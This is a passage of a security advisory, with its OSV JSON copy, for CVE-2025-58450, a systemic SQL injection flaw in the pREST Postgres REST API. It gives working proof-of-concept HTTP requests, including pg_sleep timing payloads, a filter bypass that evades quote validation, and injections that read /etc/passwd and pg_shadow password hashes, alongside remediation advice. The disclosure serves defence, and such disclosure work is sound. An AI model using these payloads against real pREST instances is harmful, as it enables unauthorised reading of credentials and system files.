request or the read operation. After completing the authentication and authorization steps, the SelectFromTables
function will first compile a list of all columns/fields, that will be returned in the HTTP response.
go
cols, err := config.PrestConf.Adapter.FieldsPermissions(r, table, "read", userName)
// ---snip---
selectStr, err := config.PrestConf.Adapter.SelectFields(cols)
The SelectFields
function will validate the requested columns using the chkInvalidIdentifier
function, and will ultimately return the beginning of the generated SQL statement. Assuming the request specifies that only the id
and task
columns should be returned, the generated SQL will look something like:
sql
SELECT "id", "task" FROM
The next step involves generating the table name, from which the data will be queried.
go
query := config.PrestConf.Adapter.SelectSQL(selectStr, database, schema, table)
// ...
func (adapter *Postgres) SelectSQL(selectStr string, database string, schema string, table string) string {
return fmt.Sprintf(`%s "%s"."%s"."%s"`, selectStr, database, schema, table)
}
The SelectSQL
function will receive the database
, schema
and table
values directly from the request and use them to construct the next part of the SQL statement using simple string concatenation.
If we assume that the GET
request is made to the following path /db001/api/todos
, the resulting query will look similar to:
sql
SELECT "id", "name" FROM "api"."todos"
This step performs processing on values, specifically schema
and table
, which do not undergo any input validation, and ultimately allow for SQL injection.
The description above is only a single instance of this issue. The list below contains code paths that we believe is a comprehensive list of all code paths affected by this issue: - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L243 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L245 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L559 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L643 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1538 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1559 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1581 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1583 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1585 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1601 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1606 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1611 - https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1616 - https://github.com/prest/prest/blob/main/controllers/tables.go#L394 - https://github.com/prest/prest/blob/main/controllers/tables.go#L465
Reproduction
The reproduction steps require a working environment which can be set up using the instructions below.
With that, the issue can be verified using the following HTTP request:
http
GET /db001/api"."todos"%20where%20(select%201%20from%20pg_sleep(5))=1)%20s--/todos HTTP/1.1
Host: localhost:3000
The value provided as the schema
path parameter contains the injection payload and contains SQL which will be added to the existing SQL statement and will inject a nested query that calls the pg_sleep()
function, delaying the response by 5 seconds. The statement shown below will be the one that is ultimately executed on the database server.
sql
SELECT * FROM "db001"."api"."todos" where (select 1 from pg_sleep(5))=1
Missing Validation on tsquery Predicates
Users with permission to read data from tables have the ability to specify tsquery
predicates, allowing them to perform more complex filtering on the data. An example usage of tsquery
can be seen below:
http
GET /databases?datname:tsquery=prest HTTP/1.1
Host: localhost:3000
pREST will parse the request, and if it detects that a tsquery
needs to be generated, the following code will be executed:
go
case "tsquery":
tsQueryField := strings.Split(keyInfo[0], "$")
tsQuery := fmt.Sprintf(`%s @@ to_tsquery('%s')`, tsQueryField[0], value)
if len(tsQueryField) == 2 {
tsQuery = fmt.Sprintf(`%s @@ to_tsquery('%s', '%s')`, tsQueryField[0], tsQueryField[1], value)
}
whereKey = append(whereKey, tsQuery)
In this example, the value of the value
variable is used directly from the request without any validation, which ultimately allows another path to perform SQL injection.
Reproduction
The reproduction steps require a working environment which can be set up using the instructions below.
With that, the issue can be verified using make the following HTTP request:
http
GET /databases?datname:tsquery=db001')+and+((select+'1'+from+pg_sleep(5))%3d'1 HTTP/1.1
Host: localhost:3000
As with the previous example, the request above will use Postgres' pg_sleep()
function to delay the response for 5 seconds, proving the injection was successful.
Script Templates
pREST users can define templates for complex SQL queries, that can be reached using the /_QUERIES/{queriesLocation}/{script}
endpoint. The scripts are read directly from the file system. Their content is passed to the text/template
Go library, which will render any dynamic data, sourced from the request, directly on to the script template and return the result.
```go
func ExecuteScriptQuery(rq *http.Request, queriesPath string, script string) ([]byte, error) {
config.PrestConf.Adapter.SetDatabase(config.PrestConf.PGDatabase)
sqlPath, err := config.PrestConf.Adapter.GetScript(rq.Method, queriesPath, script)
//---snip---
templateData := make(map[string]interface{})
extractHeaders(rq, templateData)
extractQueryParameters(rq, templateData)
sql, values, err := config.PrestConf.Adapter.ParseScript(sqlPath, templateData)
//---snip---
sc := config.PrestConf.Adapter.ExecuteScriptsCtx(rq.Context(), rq.Method, sql, values)
//---snip---
return sc.Bytes(), nil
}
//...
func (adapter *Postgres) ParseScript(scriptPath string, templateData map[string]interface{}) (sqlQuery string, values []interface{}, err error) { _, tplName := filepath.Split(scriptPath)
funcs := &template.FuncRegistry{TemplateData: templateData}
tpl := gotemplate.New(tplName).Funcs(funcs.RegistryAllFuncs())
tpl, err = tpl.ParseFiles(scriptPath)
//---snip---
var buff bytes.Buffer
err = tpl.Execute(&buff, funcs.TemplateData)
//---snip---
sqlQuery = buff.String()
return
} ```
The text/template
library is used to render pure text and does not implement any validation or sanitization functionality out-of-the-box. This allows for yet another path from SQL injection.
Reproduction
The reproduction steps require a working environment which can be set up using the instructions below. In addition, the script below should be saved under the {{project_root}}/_active
path as get_todo.read.sql
.
sql
SELECT * FROM api.todos WHERE id = {{.todo_id}}
Before running pREST, make sure the configuration specifies the script template's directory on the root of the project.
toml
[queries]
location = ""
With that, the issue can be verified by simply making the following request:
http
GET /_QUERIES/_active/get_todo?todo_id=2%20or%20true HTTP/1.1
Host: localhost:3000
The todo_id
value contains the value: 2 OR true
in percent-encoded format. This value will be interpolated in the template and result in the following query being executed:
sql
SELECT * FROM api.todos WHERE id = 2 or true
This will ultimately return all values in from the target table.
Issues with the Current Validation
pREST implements input validation via the chkInvalidIdentifier
function, with an attempt to mitigate potential SQL injection attacks. The function will verify that a supplied variable contains only characters from a pre-defined allow list. In addition, the performed validation makes sure that the number of double quotes ("
) in the validated value are divisible by 2, with the goal of preventing the user to escape the context of a Postgres identifier.
The quotation validation logic ultimately proves to be faulty, and can also be abused to perform injection attacks. Namely, Postgres' SQL parser allows identifiers to be enclosed in double-quotes, which acts as a soft of field separator. This enables the construction of queries without any spaces. Combined with the set of allowed characters by the chkInvalidIdentifier
function, the following request can be made to the server:
http
GET /db001/api/todos?id"in(0)or(select"id"from"api.todos"where"id"in(1))in(1)or"id=1 HTTP/1.1
Host: localhost:3000
The request will ultimately execute the following SQL query:
sql
SELECT jsonb_agg(s) FROM (SELECT * FROM "db001"."api"."todos" WHERE "id"in(0)or(select"id"from"api"."todos"where"id"in(1))in(1)or"id" = $1 ) s
The nested SELECT
statement will impact the output returned to the user. If the nested query evaluates to true
, the user will see all entries in the todos
table. On the other hand, if the nested query evaluates to false
, the user will only see the entry with its id
column set to 1
.
This injection path is ultimately limited by the validation preformed in chkInvalidIdentifier
, which limits the size of identifiers to 62 characters.
go
if !strings.Contains(ival, ".") && len(ival) > 63 {
return true
}
Impact
Critical. Executing arbitrary commands on the database can allow for unauthorized access and modification of the data stored. Additionally, feature-rich database engines such as Postgres allow access to files stored on the underlining file-system, and may even allow for arbitrary command execution.
In pREST's case, the query generation procedure will invoke the Prepare
function from the sqlx
ORM, which prevents using stacked queries, also preventing execution of arbitrary operations.
However, nested queries and file access operations can be performed. The request shown below will read and return the contents of the /etc/passwd
file.
http
GET /db001/api"."todos"%20union%20select%20pg_read_file(chr(47)||'etc'||chr(47)||'passwd'))%20s--/todos?_select=task HTTP/1.1
Host: localhost:3000
Note that using forward slashes (/
) will brake the path parsing performed by the API server. That limitation can be bypassed by specifying the forward slash using CHR(47)
. This technique can be used to read environment variables, which often contain sensitive information such as API keys, or read other sensitive files such as SSH private keys or Postgres-specific certificates used for host-based authentication.
Nested queries can be used to access information from internal Postgres tables. The example below will retrieve the password hash of the current Postgres user.
http
GET /db001/api"."todos"%20union%20select%20passwd%20from%20pg_shadow)%20s--/todos?_select=task HTTP/1.1
Host: localhost:3000
Finally, the pREST's official Docker container uses with the prest
user the database to establish the database connection. This user does have "superuser" permissions, which increases the likelihood of users running pREST with overly permissioned database users which in turn exposes them to the attacks described above.
Complexity
Low. With access to a running instance, basic web application security knowledge is required to find and exploit this issue. Furthermore, the pREST project is open source, removing any guess work that a potentially attacker might need to do if they were attacking an unknown system.
Remediation
The injection proved to be systemic and impacts the majority of the exposed endpoint. We recommend overhauling how dynamic query generation is implemented. Unfortunately, the used sqlx
library does not appear allow database identifiers to be parametrized, which is a core feature of pREST. This means that validation needs to be perform manually.
Start off by preventing all string concatenation operations that use unvalidated or unsanitized user input. All user-controllable values that represent database identifiers (e.g. database and table names) should only contain alpha-numeric characters and optionally dashed (-
) and underscores (_
).
Also consider removing the double-quote from the list of allowed character when performing validation and make sure they are placed in the correct position on the server-side. This will prevent the limited injection mentioned above.
Finally, consider updating how query scripts are created and processed. One way of doing this is by recommending the users to write scripts in a parametrized form. pREST can then read the script from the disk and build a parametrized query using sqlx
. Any dynamic parameters can be read from the request object and set on the query object. In this implementation, escaping user-controlled values will be handled by the library itself.
It is worth noting that the injection issue was pointed out by GHSA-wm25-j4gw-6vr3. However, the submitter did not highlight the impact which is likely why the issue was left unpatched.
Reproduction Environment Setup
The base environment used to verify the existence of the vulnerability uses a running instance of the deploying the official pREST Docker container. For simplicity, all reproduction steps assume that JWT-based authentication is disabled.
The database contains one table under the api
namespace, named todos
with the following schema:
sql
CREATE TABLE api.todos (
id int primary key generated by default as identity,
done boolean not null default false,
task text not null,
due timestamptz
);
pREST can be ran using the following configuration: ```toml debug = true
[http] port = 3000
[jwt] key = "secret" algo = "HS256"
[auth] enabled = false type = "body" encrypt = "MD5" table = "prest_users" username = "username" password = "password"
[pg] host = "127.0.0.1" user = "prest" pass = "password" port = 5432 database = "db001" single = true
[ssl] mode = "disable" sslcert = "./PATH" sslkey = "./PATH" sslrootcert = "./PATH"
[expose] enabled = true databases = true schemas = true tables = true
[queries] location = "" ```
{ "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c 2.0.0-rc2" }, "package": { "ecosystem": "Go", "name": "github.com/prest/prest/v2" }, "ranges": [ { "events": [ { "introduced": "0" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2025-58450" ], "database_specific": { "cwe_ids": [ "CWE-89" ], "github_reviewed": true, "github_reviewed_at": "2025-09-08T21:48:26Z", "nvd_published_at": "2025-09-08T22:15:34Z", "severity": "CRITICAL" }, "details": "# Summary\npREST provides a simple way for users to expose access their database via a REST-full API. The project is implemented using the Go programming language and is designed to expose access to Postgres database tables.\n\nDuring an independent review of the project, Doyensec engineers found that SQL injection is a systemic problem in the current implementation (version `v2.0.0-rc2`). Even though there are several instances of attempts to sanitize user input and mitigate injection attempts, we have found that on most code-paths, the protection is faulty or non-existent.\n\n## Core Endpoints\nThe main functionality providing REST operations on the data stored in the Postgres database is exposed via the following endpoints:\n- `GET /{database}/{schema}/{table}` \n- `POST /{database}/{schema}/{table}` \n- `PUT|PATCH /{database}/{schema}/{table}` \n- `DELETE /{database}/{schema}/{table}` \n\nHandlers for the above endpoints execute very similar logic. At a high-level they:\n1. Perform authentication and authorization\n2. Build the SQL query based on the incoming request\n3. Execute the query on the database\n4. Return the data to the user\n\nThe query construction logic uses data from the request (e.g query, body or path parameters) and incorporates them in the SQL query.\n\nAs an example, let us look at the `GET` request or the read operation. After completing the authentication and authorization steps, the `SelectFromTables` function will first compile a list of all columns/fields, that will be returned in the HTTP response.\n```go\ncols, err := config.PrestConf.Adapter.FieldsPermissions(r, table, \"read\", userName)\n// ---snip---\nselectStr, err := config.PrestConf.Adapter.SelectFields(cols)\n```\n\nThe `SelectFields` function will validate the requested columns using the `chkInvalidIdentifier` function, and will ultimately return the beginning of the generated SQL statement. Assuming the request specifies that only the `id` and `task` columns should be returned, the generated SQL will look something like:\n```sql\nSELECT \"id\", \"task\" FROM\n```\n\nThe next step involves generating the table name, from which the data will be queried.\n```go\nquery := config.PrestConf.Adapter.SelectSQL(selectStr, database, schema, table)\n// ...\nfunc (adapter *Postgres) SelectSQL(selectStr string, database string, schema string, table string) string {\n\treturn fmt.Sprintf(`%s \"%s\".\"%s\".\"%s\"`, selectStr, database, schema, table)\n}\n```\n\nThe `SelectSQL` function will receive the `database`, `schema` and `table` values directly from the request and use them to construct the next part of the SQL statement using simple string concatenation.\n\nIf we assume that the `GET` request is made to the following path `/db001/api/todos`, the resulting query will look similar to:\n```sql\nSELECT \"id\", \"name\" FROM \"api\".\"todos\"\n```\n\nThis step performs processing on values, specifically `schema` and `table`, which do not undergo any input validation, and ultimately allow for SQL injection.\n\n---\n\nThe description above is only a single instance of this issue. The list below contains code paths that we believe is a comprehensive list of all code paths affected by this issue:\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L243\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L245\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L559\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L643\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1538\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1559\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1581\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1583\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1585\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1601\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1606\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1611\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1616\n- https://github.com/prest/prest/blob/main/controllers/tables.go#L394\n- https://github.com/prest/prest/blob/main/controllers/tables.go#L465\n### Reproduction\nThe reproduction steps require a working environment which can be set up using the instructions below.\n\nWith that, the issue can be verified using the following HTTP request:\n```http\nGET /db001/api\".\"todos\"%20where%20(select%201%20from%20pg_sleep(5))=1)%20s--/todos HTTP/1.1\nHost: localhost:3000\n```\n\nThe value provided as the `schema` path parameter contains the injection payload and contains SQL which will be added to the existing SQL statement and will inject a nested query that calls the `pg_sleep()` function, delaying the response by 5 seconds. The statement shown below will be the one that is ultimately executed on the database server.\n\n```sql\nSELECT * FROM \"db001\".\"api\".\"todos\" where (select 1 from pg_sleep(5))=1\n```\n## Missing Validation on tsquery Predicates\nUsers with permission to read data from tables have the ability to specify `tsquery` predicates, allowing them to perform more complex filtering on the data. An example usage of `tsquery` can be seen below:\n```http\nGET /databases?datname:tsquery=prest HTTP/1.1\nHost: localhost:3000\n```\n\npREST will parse the request, and if it detects that a `tsquery` needs to be generated, the following code will be executed:\n```go\ncase \"tsquery\":\n\ttsQueryField := strings.Split(keyInfo[0], \"$\")\n\ttsQuery := fmt.Sprintf(`%s @@ to_tsquery(\u0027%s\u0027)`, tsQueryField[0], value)\n\tif len(tsQueryField) == 2 {\n\t\ttsQuery = fmt.Sprintf(`%s @@ to_tsquery(\u0027%s\u0027, \u0027%s\u0027)`, tsQueryField[0], tsQueryField[1], value)\n\t}\n\twhereKey = append(whereKey, tsQuery)\n```\n\nIn this example, the value of the `value` variable is used directly from the request without any validation, which ultimately allows another path to perform SQL injection.\n### Reproduction\nThe reproduction steps require a working environment which can be set up using the instructions below.\n\nWith that, the issue can be verified using make the following HTTP request:\n```http\nGET /databases?datname:tsquery=db001\u0027)+and+((select+\u00271\u0027+from+pg_sleep(5))%3d\u00271 HTTP/1.1\nHost: localhost:3000\n```\n\nAs with the previous example, the request above will use Postgres\u0027 `pg_sleep()` function to delay the response for 5 seconds, proving the injection was successful.\n## Script Templates\npREST users can define templates for complex SQL queries, that can be reached using the `/_QUERIES/{queriesLocation}/{script}` endpoint. The scripts are read directly from the file system. Their content is passed to the `text/template` Go library, which will render any dynamic data, sourced from the request, directly on to the script template and return the result.\n```go\nfunc ExecuteScriptQuery(rq *http.Request, queriesPath string, script string) ([]byte, error) {\n\tconfig.PrestConf.Adapter.SetDatabase(config.PrestConf.PGDatabase)\n\tsqlPath, err := config.PrestConf.Adapter.GetScript(rq.Method, queriesPath, script)\n\t//---snip---\n\ttemplateData := make(map[string]interface{})\n\textractHeaders(rq, templateData)\n\textractQueryParameters(rq, templateData)\n\tsql, values, err := config.PrestConf.Adapter.ParseScript(sqlPath, templateData)\n\t//---snip---\n\tsc := config.PrestConf.Adapter.ExecuteScriptsCtx(rq.Context(), rq.Method, sql, values)\n\t//---snip---\n\treturn sc.Bytes(), nil\n}\n\n//...\n\nfunc (adapter *Postgres) ParseScript(scriptPath string, templateData map[string]interface{}) (sqlQuery string, values []interface{}, err error) {\n\t_, tplName := filepath.Split(scriptPath)\n\n\tfuncs := \u0026template.FuncRegistry{TemplateData: templateData}\n\ttpl := gotemplate.New(tplName).Funcs(funcs.RegistryAllFuncs())\n\n\ttpl, err = tpl.ParseFiles(scriptPath)\n\t//---snip---\n\n\tvar buff bytes.Buffer\n\terr = tpl.Execute(\u0026buff, funcs.TemplateData)\n\t//---snip---\n\t\n\tsqlQuery = buff.String()\n\treturn\n}\n```\n\nThe `text/template` library is used to render pure text and does not implement any validation or sanitization functionality out-of-the-box. This allows for yet another path from SQL injection.\n### Reproduction\nThe reproduction steps require a working environment which can be set up using the instructions below. In addition, the script below should be saved under the `{{project_root}}/_active` path as `get_todo.read.sql`. \n```sql\nSELECT * FROM api.todos WHERE id = {{.todo_id}}\n```\n\nBefore running pREST, make sure the configuration specifies the script template\u0027s directory on the root of the project.\n```toml\n[queries]\nlocation = \"\"\n```\n\nWith that, the issue can be verified by simply making the following request:\n```http\nGET /_QUERIES/_active/get_todo?todo_id=2%20or%20true HTTP/1.1\nHost: localhost:3000\n```\n\nThe `todo_id` value contains the value: `2 OR true` in percent-encoded format. This value will be interpolated in the template and result in the following query being executed:\n```sql\nSELECT * FROM api.todos WHERE id = 2 or true\n```\nThis will ultimately return all values in from the target table.\n## Issues with the Current Validation\npREST implements input validation via the `chkInvalidIdentifier` function, with an attempt to mitigate potential SQL injection attacks. The function will verify that a supplied variable contains only characters from a pre-defined allow list. In addition, the performed validation makes sure that the number of double quotes (`\"`) in the validated value are divisible by 2, with the goal of preventing the user to escape the context of a Postgres identifier. \n\nThe quotation validation logic ultimately proves to be faulty, and can also be abused to perform injection attacks. Namely, Postgres\u0027 SQL parser allows identifiers to be enclosed in double-quotes, which acts as a soft of field separator. This enables the construction of queries without any spaces. Combined with the set of allowed characters by the `chkInvalidIdentifier` function, the following request can be made to the server:\n```http\nGET /db001/api/todos?id\"in(0)or(select\"id\"from\"api.todos\"where\"id\"in(1))in(1)or\"id=1 HTTP/1.1\nHost: localhost:3000\n```\n\nThe request will ultimately execute the following SQL query:\n```sql\nSELECT jsonb_agg(s) FROM (SELECT * FROM \"db001\".\"api\".\"todos\" WHERE \"id\"in(0)or(select\"id\"from\"api\".\"todos\"where\"id\"in(1))in(1)or\"id\" = $1 ) s\n```\n\nThe nested `SELECT` statement will impact the output returned to the user. If the nested query evaluates to `true`, the user will see all entries in the `todos` table. On the other hand, if the nested query evaluates to `false`, the user will only see the entry with its `id` column set to `1`.\n\nThis injection path is ultimately limited by the validation preformed in `chkInvalidIdentifier`, which limits the size of identifiers to 62 characters.\n```go\nif !strings.Contains(ival, \".\") \u0026\u0026 len(ival) \u003e 63 {\n\treturn true\n}\n```\n# Impact\n**Critical**. Executing arbitrary commands on the database can allow for unauthorized access and modification of the data stored. Additionally, feature-rich database engines such as Postgres allow access to files stored on the underlining file-system, and may even allow for arbitrary command execution.\n\nIn pREST\u0027s case, the query generation procedure will invoke the `Prepare` function from the `sqlx` ORM, which prevents using stacked queries, also preventing execution of arbitrary operations.\n\nHowever, nested queries and file access operations can be performed. The request shown below will read and return the contents of the `/etc/passwd` file.\n```http\nGET /db001/api\".\"todos\"%20union%20select%20pg_read_file(chr(47)||\u0027etc\u0027||chr(47)||\u0027passwd\u0027))%20s--/todos?_select=task HTTP/1.1\nHost: localhost:3000\n```\n\nNote that using forward slashes (`/`) will brake the path parsing performed by the API server. That limitation can be bypassed by specifying the forward slash using `CHR(47)`. This technique can be used to read environment variables, which often contain sensitive information such as API keys, or read other sensitive files such as SSH private keys or Postgres-specific certificates used for host-based authentication.\n\nNested queries can be used to access information from internal Postgres tables. The example below will retrieve the password hash of the current Postgres user.\n```http\nGET /db001/api\".\"todos\"%20union%20select%20passwd%20from%20pg_shadow)%20s--/todos?_select=task HTTP/1.1\nHost: localhost:3000\n```\n\nFinally, the pREST\u0027s official [Docker container ](https://hub.docker.com/r/prest/prest/) uses with the `prest` user the database to establish the database connection. This user does have \"superuser\" permissions, which increases the likelihood of users running pREST with overly permissioned database users which in turn exposes them to the attacks described above.\n\n# Complexity\n**Low**. With access to a running instance, basic web application security knowledge is required to find and exploit this issue. Furthermore, the pREST project is open source, removing any guess work that a potentially attacker might need to do if they were attacking an unknown system.\n\n# Remediation\nThe injection proved to be systemic and impacts the majority of the exposed endpoint. We recommend overhauling how dynamic query generation is implemented. Unfortunately, the used `sqlx` library does not appear allow database identifiers to be parametrized, which is a core feature of pREST. This means that validation needs to be perform manually.\n\nStart off by preventing all string concatenation operations that use unvalidated or unsanitized user input. All user-controllable values that represent database identifiers (e.g. database and table names) should only contain alpha-numeric characters and optionally dashed (`-`) and underscores (`_`).\n\nAlso consider removing the double-quote from the list of allowed character when performing validation and make sure they are placed in the correct position on the server-side. This will prevent the limited injection mentioned above.\n\nFinally, consider updating how query scripts are created and processed. One way of doing this is by recommending the users to write scripts in a parametrized form. pREST can then read the script from the disk and build a parametrized query using `sqlx`. Any dynamic parameters can be read from the request object and set on the query object. In this implementation, escaping user-controlled values will be handled by the library itself. \n\nIt is worth noting that the injection issue was pointed out by [GHSA-wm25-j4gw-6vr3](https://github.com/prest/prest/security/advisories/GHSA-wm25-j4gw-6vr3). However, the submitter did not highlight the impact which is likely why the issue was left unpatched.\n\n# Reproduction Environment Setup\nThe base environment used to verify the existence of the vulnerability uses a running instance of the deploying the official pREST [Docker container](https://hub.docker.com/r/prest/prest/). For simplicity, all reproduction steps assume that JWT-based authentication is disabled.\n\nThe database contains one table under the `api` namespace, named `todos` with the following schema:\n```sql\nCREATE TABLE api.todos (\n id int primary key generated by default as identity,\n done boolean not null default false,\n task text not null,\n due timestamptz\n);\n```\n\npREST can be ran using the following configuration:\n```toml\ndebug = true\n\n[http]\nport = 3000\n\n[jwt]\nkey = \"secret\"\nalgo = \"HS256\"\n\n[auth]\nenabled = false\ntype = \"body\"\nencrypt = \"MD5\"\ntable = \"prest_users\"\nusername = \"username\"\npassword = \"password\"\n\n[pg]\nhost = \"127.0.0.1\"\nuser = \"prest\"\npass = \"password\"\nport = 5432\ndatabase = \"db001\"\nsingle = true\n\n[ssl]\nmode = \"disable\"\nsslcert = \"./PATH\"\nsslkey = \"./PATH\"\nsslrootcert = \"./PATH\"\n\n[expose]\nenabled = true\ndatabases = true\nschemas = true\ntables = true\n\n[queries]\nlocation = \"\"\n```", "id": "GHSA-p46v-f2x8-qp98", "modified": "2025-09-10T21:05:26Z", "published": "2025-09-08T21:48:26Z", "references": [ { "type": "WEB", "url": "https://github.com/prest/prest/security/advisories/GHSA-p46v-f2x8-qp98" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58450" }, { "type": "WEB", "url": "https://github.com/prest/prest/commit/47d02b87842900f77d76fc694d9aa7e983b0711c" }, { "type": "PACKAGE", "url": "https://github.com/prest/prest" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "type": "CVSS_V4" } ], "summary": "pREST has a Systemic SQL Injection Vulnerability" }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.